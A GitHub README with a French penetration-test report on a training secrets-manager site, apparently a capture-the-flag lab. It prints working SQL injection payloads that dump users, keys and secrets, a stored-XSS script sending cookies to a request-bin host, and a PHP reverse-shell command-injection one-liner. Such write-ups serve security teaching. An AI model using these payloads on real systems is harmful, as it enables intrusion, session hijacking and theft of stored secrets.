Skip to content

rapport pentest d'un site web de gestion de secrets

Notifications You must be signed in to change notification settings

klemakle/audit-pentest-BOX

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Auteur Année
Kalidou - @aethelwulf - https://kalidou.me
2024

Pentest - Sécurité Applicative

Shell Script Kali MySQL


Rapport d'audit pentest

Présenté par : Kalidou DIA


Plan


Introduction

Ce projet de pentest sur le site web box est une expérience enrichissante dans le sens où il nous a permis d'appliquer certaines connaissances et d'en approfondir d'autres, sur un environnement réel. A travers cet audit, nous avons pu identifier plusieurs vulnérabilités et failles de sécurité qui auraient pu être exploitées par des personnes malveillantes. De ce fait, nous recommendons à l'entreprise de prendre des mesures de sécurité appropriées et de patcher le plus rapidement possible le site pour se protéger, mais également protéger les données des utilisateurs du site web.

I. Enumération

Cible : https://box-grp.num.pas.le.vrai

Mon adresse ip : 10.0.56.63

1. Page d'accueil

Notre première idée était de se promenener sur le site et de comprendre son fonctionnement normal. Il s'avère qu'il s'agit d'un site de gestionnaire de secret où un utilisateur inscrit peut ajouter des mots de passe ou secret qui seront chiffrés et stockés. La page d'accueil se présente suit :

  • Une navbar contenant le nom du site (Box), des liens pour accèder aux pages Home, Blog, Vault, une barre de recherche et 2 boutons Search et Login.
  • Le contenu principal contenant un text et des liens vers des projets open source.
  • Un footer contenant le nom du développeur du site et des icônes de réseaux sociaux.

https://box-grp.num.pas.le.vrai/ home page

Figure 1 : Page d'accueil*

Les technos utilisées sont : technos

Figure 2 : Technos utilisées

2. Page Blog

Quand on clique sur le lien Blog, on accède à la page présentée sur l'image ci-dessous.Cette page présente une liste d'articles (posts) qu'on peut cliquer pour les voir plus en détail. https://box-grp.num.pas.le.vrai/blog alt text

Figure 3 : Page blog

La barre de recherche Search attend en entrée une chaîne de caractères. Quand nous mettons la valeur d'une "Sor", nous obtenons une réponse du blog avec le titre "Sorry". barre de recherche

Figure 4 : Barre de recherche

Nous avons tenté de mettre une entrée normalement invalide (') pour voir la réponse du serveur. Et voici ce que le site nous répond :

search erronée

Figure 5 : Entrée anormale sur la barre de recherche

Il semble y avoir une faille sql injection exploitable ici. Nous y reviendrons plus tard.

3. Page d'un post

Cette page montre des infos du post sur lequel on a cliqué. Nous voyons sur l'url, il y a une param request id qui devrait prendre en l'id du post. Sur cet article, le texte étale le fait qu'il y ait un problème en production. Apparemment les mots de passe ne pas hashés comme ils auraient dû l'être. L'auteur demande aux lecteurs de changer leur mot de passe. Cette info pourrait être intéressante pour quelqu'un qui chercherait les mots de passe des utilisateurs. Nous essaierons également de mettre des valeurs erronnées dans le paramètre id pour voir comment le serveur répond. Nous y reviendrons plus tard. https://box-grp.num.pas.le.vrai/post?id=2 alt text

Figure 6 : Article Sorry


4. Page Login

Cette page login présente un formulaire pour se connecter. Il y a un champ username et un champ password. Quand on essaie de mettre des valeurs arbitraires, le site nous répond "user does not exists" https://box-grp.num.pas.le.vrai/login?next_url=user login

Figure 7 : Page de connexion

login

Figure 8 : Connexion échouée

5. Page d'inscription

Cette page présente un formulaire d'inscription pour créer un compte. Essayons de créer un compte vite fait avec les identifiants : username = "test@test2.com" et password = "test". Quand l'inscription réussit et nous sommes redirigés vers la page de login.

Cependant la politique de mot passe semble faible parce que le nôtre ne contient que 4 caractères. register

Figure 9 : Inscription


6. Page accueil de l'utilisateur connecté

Une fois nous être connecté, on accède à la page que montre l'image ci-dessous. Nous voyons apparaître sur la navbar les boutons User et Logout. user logged

Figure 9 : utilisateur connecté

7. Page compte user

Cette page présente également un formulaire où l'utilisateur connecté peut uploader une photo pour son avatar et ajouter une bio. Apparement, on peut aussi modifier son mot de passe ici.

user info

Figure 10 : Info user

En ajoutant des infos une bio et une photo :

bio avatar

Figure 11 : Ajout de bio

Le serveur renvoie la réponse suivante. La réponse du serveur parrait anormale. On voit dans la réponse le chemin d'accès au fichier image chargé. serveur response to bio

Figure 12 : Réponse après ajout bio

Remarque : il n'y a pas de format requis pour l'avatar. on pourrait faire exécuté du code php ici ou envoyer un reverse shell php qui donnerait accès au serveur en ligne de commandes. Nous y reviendrons plus tard. upload format

Figure 13 : Format fichier


8. Page vault

Cette page présente une liste des secrets que nous avons enregistré dans le site. On peut ajouter un label et le contenu du secret. vault

Figure 14 : Page vault

Une fois que c'est créé, le site nous renvoie un text chiffré: add secret

Figure 15 : Ajout de secret

Quand on clique ensuite sur le bouton modifier, il nous redirige vers la description de l'utilisateur avec l'id correspondant au vault. Ce comportement du site parrait bizarre. vault id.

Figure 16 : Redirection vers un utilisateur

Essayons de mettre une balise "script" et afficher une alerte pour voir si cette page est vulnérable au XSS ? xss stored

Figure 17 : Test XSS

Quand on appuie sur créer, la boîte de dialogue à laquelle on s'attendait, apparait. Et quand on raffraichit la page, l'alerte réapparait. Il semble qu'il s'agit d'une vulnérabilité de type XSS stored. Nous vérifierons cela plus tard. alert 1

Figure 18 : Boite de dialogue alert


9. Page admin

En tantant de voir s'il y avait une page admin, on la trouve. Quand on se connecte en tant qu'utilisateur normal, on ne devrait pas avoir accès à cette page si on n'est pas admin. Il devrait y avoir une erreur de code de la part du développeur du site. https://box-grp.num.pas.le.vrai/admin/ admin

Figure 19 : Page admin

10. Page admin list users

Dans la page admin/list_users, on peut voir les users de notre site. https://box-grp.num.pas.le.vrai/admin/list_users user list

Figure 20 : Liste des users

11. Page admin list roles

On peut voir ici les rôles attribués aux users. role list

Figure 21 : Liste rôles

12. Page admin system

Sur cette vue, il y a une interaction terminale qui attend en entrée une recherche de process. Nous pouvons voir alt text

Figure 22 : Terminal tools

13. Page php info

En cliquant sur info, nous obtenons la page phpinfo. Sur cette page, il y a la configuration de notre site et les variables auxquelles on devrat pas avoir accès normalement.

https://box-grp.num.pas.le.vrai/admin/phpinfo php info

Figure 23 : Configuration du site


II. Détection de vulnérabilités

Dans cette partie, nous allons essayer de détecter les vulnerabilités du site, de confirmer ou non les hyothèses émises dans la partie énumération. Pour ce faire, nous allons lister les vulnérabilités détectées en spécifiant la partie du site où nous l'avons trouvez et nous allons les exploiter dans la partie exploitation.

1. SQL injection

1.1 Barre de recherche

On avait émis l'hypoyhèse selon laquelle l'entrée "search" était vulnérable au SQL injection. La requête semble une recherche de caractères sur plusieurs colonnes donc elle pourrait ressembler à ceci :

SELECT column_1, column_2, ..., column_n 
FROM posts 
WHERE column_1 LIKE '%$_GET['search']%' or column_2 LIKE '%$_GET['search']%' or ...;

En mettant la valeur %' or 1=1 -- - dans la barre de recherche, nous obtenons la liste de tous les posts. Nous exploiterons cette vulnérabilité plus tard. sql injection post

Figure 24 : SQL injection 1

Donc le site est bien vulnérable au SQL injection

1.2 Url post

Sur l'url de la page d'un post, nous voyons le param id qui attend un entier, pour nous renvoyer l'article avec l'id correspondant. En mettant la chaine de caractères coucou, le site nous répond : " SELECT * FROM posts WHERE id = coucou ^ in " https://box-grp.num.pas.le.vrai/post?id=coucou coucou sql

Figure 25 : Injection coucou

Nous obtenons ainsi la requête qui est faite à la base de données pour afficher les infos que nous pouvons voir. Un traitement et un message aurait dû apparaitre ici normalement. En faisant plusieurs tests sur la valeur de l'id, nous sommes arrivés à la valeur suivante 0 or 1=1 -- -. Sachant bien que le post avec l'id 0 n'existe pas, on obtient bien une réponse de la part du serveur. Le post retourné est celui avec l'id 1 qu'on n'a pas demandé. On pourrait déduire qu'on a trouvé une vulnérabilité de type SQL injection Blind. Le serveur a traité notre requête comme vraie. Ne trouvant pas le post avec l'id 0, il nous a envoyé le premier post de la table (celui avec l'id 1). Donc le post 1 est renvoyé lorsque la condition est vraie.

sql blind

Figure 26 : Blind SQL INJECTION


2. XSS - XSS stocké

Dans la page vault, nous avions trouvé une faille de type de xss. Cependant nous remarquons que quand nous rafraichissons la page, la boîte de dialogue réapparait. Il s'agit donc d'une faille de type XSS-stored. On pourrait donc recueillir quelques données stockés. Utilisons le site Pipe dream - request bin pour recevoir des infos en mettant le code suivant :

<script>fetch("https://endetx64qkla.x.pipedream.net/?"+ document.cookie)</script>

Nous recevons le cookie de session vers la page de redirection. xss stored

Figure 27 : XSS stored


3. Injection de commande

Dans la page admin system

Au niveau de la page admin/system, nous pouvons injecter des commandes. Quand nous essayons de lister les contenu du dossier avec la commande :

; ls -al

Nous obtenons la réponse sur l'image ci-dessous. ls -al

Figure 28 : Injection de commande

Donc la vulnérabilité de type injection de commande est bien présente. Nous pouvons essayer d'obtenir un reverse shell depuis cette page. Nous exploiterons cette faille dans la partie exploitation.


4. Chargement de fichier - File upload

Photo avatar

Au niveau de la page info user, nous pouvons charger une photo. Nous avons vu dans la section "format fichier" qu'il n'y avait pas de filtre pour le format du fichier chargé bien qu'il soit demandé sur la page pour uploader une image. Essayons de chargé un fichier php pour voir la réponse du serveur. Voici le contenu de notre fichier coucou.php :

<?php echo "coucou" ?>

Réponse du serveur : coucou response

Allons vers la route indiquée par la réponse du serveur : https://box-grp.num.pas.le.vrai/assets/uploads/coucou.php. Le code php est bien exécuté et le texte "coucou" s'affiche à l'écran. Donc le site présente bien une vulnérabilité de type file upload. On pourrait tenter d'obtenir un reverse shell avec cette faille du coup. Nous y reviendrons dans la partie exploitation. file upload

Figure 29 : File upload


III. Exploitation

1. Recueil d'informations

Nous avions détecté une vulnérabilité de type injection SQL dans la barre de recherche du site. Nous allons exploiter cette vulnérabilité dans les lignes qui suivent. Quand on met l'entrée suivante ' UNION ALL SELECT -- - dans la barre de recherche, le serveur nous répond :

Warning: pg_exec(): Query failed: 
ERROR: each UNION query must have the same number of columns 
in /var/www/html/includes/classes/PostRepo.php on line 47

En faisant plusieurs tentatives de UNION SELECT, le serveur nous fait savoir qu'il s'attend à 5 colonnes pour faire la correspondance et la dernière colonne doit être une date. C'est pourquoi nous ajoutons la variable CURRENT_TIMESTAMP à la 5e colonne. Les 4 premières colonnes doivent être des chaines de caractère. Notre contenu par défaut :

' UNION SELECT '1','2','3','4',CURRENT_TIMESTAMP  -- -

1.1 SQL injection - les schémas de la BD :

Nous remarquons qu'il y a une base de données nommée "public", Nous allons essayer de fouiner dedans. Injection :

' UNION SELECT '1','2',concat(schema_name),'4',CURRENT_TIMESTAMP from information_schema.schemata -- -

schemas

Figure 30 : Schémas de la BD

1.2 Les tables de la BD "public"

Nous pouvons esasayer d'afficher les table de la BD "public" avec l'injection suivante :

' UNION SELECT '1','2',concat(TABLE_NAME),'4',CURRENT_TIMESTAMP 
FROM information_schema.COLUMNS 
WHERE table_schema='public' -- -

Nous sommes arrivés à lister 7 tables :

  • roles
  • users_roles
  • roles_permissions
  • secret
  • permissions
  • users
  • posts

Nous pourrons ensuite récupérer les différentes infos de ces tables (faire un dump) avec d'autre injections.

tables BD public

Figure 31 : Tables de la BD public

Attardons nous pour l'instant sur la table users

1.3 Infos de la table users

Nous allons lister les colonnes de la table "users" avec l'injection :

UNION SELECT '1','2',concat(column_name),'4',CURRENT_TIMESTAMP
FROM information_schema.COLUMNS WHERE 
TABLE_NAME='users' -- -

Nous réussissons à lister les colonnes de la table users qui sont : id, login, avatar, hash, bio, key. column users

Figure 32 : Colonnes de la table 'users'

Les enregistrements de la table users En continuant ainsi nous pouvont récupérer les enregistrements de la table 'users' ainsi que de toutes les autres tables. Ces informations peuvent nous servir à usurper des comptes utilisateurs et potentiellement récupérer les secrets qu'ils sauvegardent dans le site. Pour ne pas tirer en longueur, nous allons juste affiché les enregistrements de la table users avec l'injection :

' UNION SELECT '1','2',concat(id,avatar,bio,hash,login,key),'4',CURRENT_TIMESTAMP
from users -- -

enregistrements users Nous obtenons les logins et les hash. Nous voyons les mot de passe ont été hashés avec l'argon 2, on pourrait tenter de faire un brute force. Mais continuons notre exploitation, ces infos pourront nous servir plus tard.

Ligne de la table users

id avatar bio hash login key
1 "" I am a box lover $argon2i$v=19$m=65536,t=4,p=1$amh... box 9aeecab6c5c351706b14a304a630f19a
2 "" I Think I Like someone $2y$10$pcYHlyhZeOohw9wbT3SfPuy... bob 8c656ab25ac6620b11d8928ece42092c
3 "" #SYNT{V Ybir Pelcgb}# $2y$10$qowQipPTRFTjgtnbLkM7K.ep... alice 3d6f2fb66411ec33f6f8f2b797b8e0f6
4 "" I am a box lover $argon2i$v=19$m=65536,t=4,p=1$VU9vO.. NULL ac272b184382659c23ee786f536095e9
5 "" coucou $argon2i$v=19$m=65536,t=4,p=1$WlRHV test a128d1ff81730709688e8c396b22e91f

1.4 Obtenir un reverse shell

Dans cette partie, nous allons nous connecter dans le serveur en mode shell. Pour cela, nous avions trouvé 2 moyens de le faire dans la partie détection : l'injection de commande et le chargement de fichier. Nous allons utiliser l'injecton de commande au niveau de la page "/admin/system" pour obtenir un shell. Commande :

; php -r '$sock=fsockopen("10.0.48.25",9001);exec("sh <&3 >&3 2>&3");'

rev shell obtenu

Figure 33 : Reverse Shell obtenu

En fouillant dans le répertoire, nous retrouvons le fichier Secret.php qui se situe dans le chemin suivant /var/www/html/includes/classes/Secret.php. Dans ce fichier, il y a une fonction qui permet de déchiffrer un secret enregistré par un utilisateur. Le code est le suivant : decrypt function

Figure 34 : Fonction 'Decrypt' Secret.php

En exploitant cette fonction, nous avons réussi à trouver un secret de l'utilisateur box. L'algo de chiffrement utilisé est : aes-256-cbc et la clé de chiffrement utilisée est celle sauvegardée dans la table 'users' dans la colonne 'key'.

L'injection SQL pour récupérer la clé :

UNION SELECT '1','2',concat(login,key),'4',CURRENT_TIMESTAMP
FROM users where login = 'box'-- -

La clé en question est : 9aeecab6c5c351706b14a304a630f19a box key

Figure 35 : Clé de 'box'

1.5 Les informations de la table "secret"

Commande utilisée pour recueillir les colonnes de la table secret :

UNION SELECT '1','2',concat(COLUMN_NAME),'4',CURRENT_TIMESTAMP 
FROM information_schema.COLUMNS 
WHERE table_name='secret' -- -
  • Les colonnes de la table secret sont :
    • id
    • name
    • user_id
    • secret

secret sql injection

Figure 36 : Colonnes de la table 'secret'

Injection utilisée :

' UNION SELECT '1','2',concat(id,name,user_id,secret),'4',CURRENT_TIMESTAMP 
from secret -- -

Les enregistrements de la table "secret" sont :

id name user_id secret
1 boxdb 1 zBzBilPkw7EC2jlv2T4uY3y6iXTB8M...
2 mypassword 1 daeDAzoiRj402OY4dMlS9qk6ilW1uw...

Nous allons maintenant déchiffrer les secrets de l'utilisateur avec l'id 1.
L'injection pour récupérer les clés est :

UNION SELECT '1','2',concat(user_id,secret),'4',CURRENT_TIMESTAMP
FROM secret
WHERE user_id=1 -- -

Les secrets trouvés sont visibles sur l'image ci-dessous. box secrets

Figure 37 : Secrets de 'box'

NB : Connaissant la fonction permettant de déchiffrer un secret et ayant la capacité de récupérer les clés et les secrets grâce à l'injection SQL, nous pouvons voir en clair tous les secrets des utilisateurs inscrits dans le site.

Essayons maintenant de voir le texte en clair de ces secrets. Utilisons un outil de PHP sandbox. Le texte en clair est le flag 3 : #FLAG{ZKiHgfjGmPICaVre}#. Il s'agit en fait du mot de passe de l'utilisateur 'box'. flag 3

Figure 38 : Premier secret de 'box'

Le deuxième secret est : postgres://postgres:#FLAG{7RwVgCf49Vzhlacn}#@db-box:5432/box. On voit qu'il s'agit d'un moyen de se connecter à une base de données postgresql. Et on a du coup le flag 4 : #FLAG{7RwVgCf49Vzhlacn}# flag 3

Figure 39 : Deuxième secret de 'box'

Avec le reversee shell, on accède au code source du site. Ce qui n'est pas normal. Comment le site a été construit, les infos de la base de données et les requêtes qui sont faites, tout est consultable depuis là. On pourrait tenter de faire une escalade de privilèges pour avoir plus de droits et récupérer encore plus d'information. shell obtenu

Figure 40 : Code source du site

2. Version linux - CVE-2022-34918

Grâce au shell que nous avons obtenu, nous avons vu que la version de linux était : 5.15.0-39-generic. Quand nous cherchons un CVE dans le net, nous voyons un poc qui nous permet de devenir root du serveur. Nous avons essayé d'exploiter cette vulnérabilité pour devenir root, mais le serveur ne nous permet pas de télécharger le projet à cause du manque d'espace. Lien du projet : https://github.com/randorisec/CVE-2022-34918-LPE-PoC?tab=readme-ov-file cve root

Figure 41 : CVE-2022-34918

3. Version Apache - CVE-2023-31122

En cherchant également un CVE pour la version de apache, on en trouve. La sévérité de cette vuln est HIGH. Un utilisateur mal intentionné pourrait exploiter cette vulnérabilité et rendre indisponible le serveur. Une mise à jour de la version de apache s'impose du coup dans le but de réduire les angles d'attaques.

apache server

Figure 41 : CVE-2023-31122


LISTE DES FLAGS TROUVES Dans phpinfo

  • Flag 1 : #FLAG{wfAOD8fhGZgK6x5J}#

Dans la bio de Alice (chiffré avec rot13)

  • Flag 2 : #FLAG{I Love Crypto}# alt text

Le mot de passe du user box

  • Flag 3 : #FLAG{ZKiHgfjGmPICaVre}#

Le mot de passe postgres

  • Flag 4 : #FLAG{7RwVgCf49Vzhlacn}#

About

rapport pentest d'un site web de gestion de secrets

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published